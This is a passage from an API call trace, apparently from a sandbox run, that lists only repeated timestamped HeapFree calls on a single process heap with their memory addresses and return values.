hHeap=0x420000) returned 1 [0187.760] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.760] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.761] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.762] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.763] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.764] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.769] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.770] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.771] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.772] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.774] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.775] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.776] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.779] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.780] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.781] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.781] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.782] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.782] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.783] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.783] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.784] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.785] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0187.786] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.275] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.298] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.540] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.541] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.542] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.543] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.545] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.561] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.561] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.562] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.566] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4458850 | out: hHeap=0x420000) returned 1 [0188.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0188.862] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0188.872] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0188.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0188.875] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0188.882] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0189.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0189.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0189.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0189.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0189.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0189.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0189.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0189.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0190.151] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0190.152] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.152] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.153] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0190.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0190.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0190.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0190.161] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0190.202] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0190.202] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0190.203] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0190.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0190.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0190.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.223] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.417] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0190.953] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.315] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.317] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.323] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0191.324] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0191.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0191.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.329] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0191.329] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.329] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0191.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.338] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.338] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0191.341] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.343] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.344] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.346] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.347] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0191.514] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0192.236] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.238] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.239] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.241] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.246] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.246] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.247] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.282] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.283] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.285] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.292] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.296] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.297] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.310] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0192.310] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.310] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44c5f58 | out: hHeap=0x420000) returned 1 [0192.311] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.312] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0192.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0192.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.835] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0192.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0192.839] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.839] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.839] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.839] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.844] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.844] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.845] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.856] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0192.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0192.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.857] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0192.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0192.860] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0192.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0192.876] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.099] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.099] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.099] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.100] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.102] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.105] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.105] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.294] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4555010 | out: hHeap=0x420000) returned 1 [0193.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.305] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.313] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.318] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4545008 | out: hHeap=0x420000) returned 1 [0193.320] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.322] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.322] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.325] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0193.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.327] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.328] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4581d58 | out: hHeap=0x420000) returned 1 [0193.328] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0193.328] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.336] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0193.556] HeapFree (in: hHeap=0x420000, 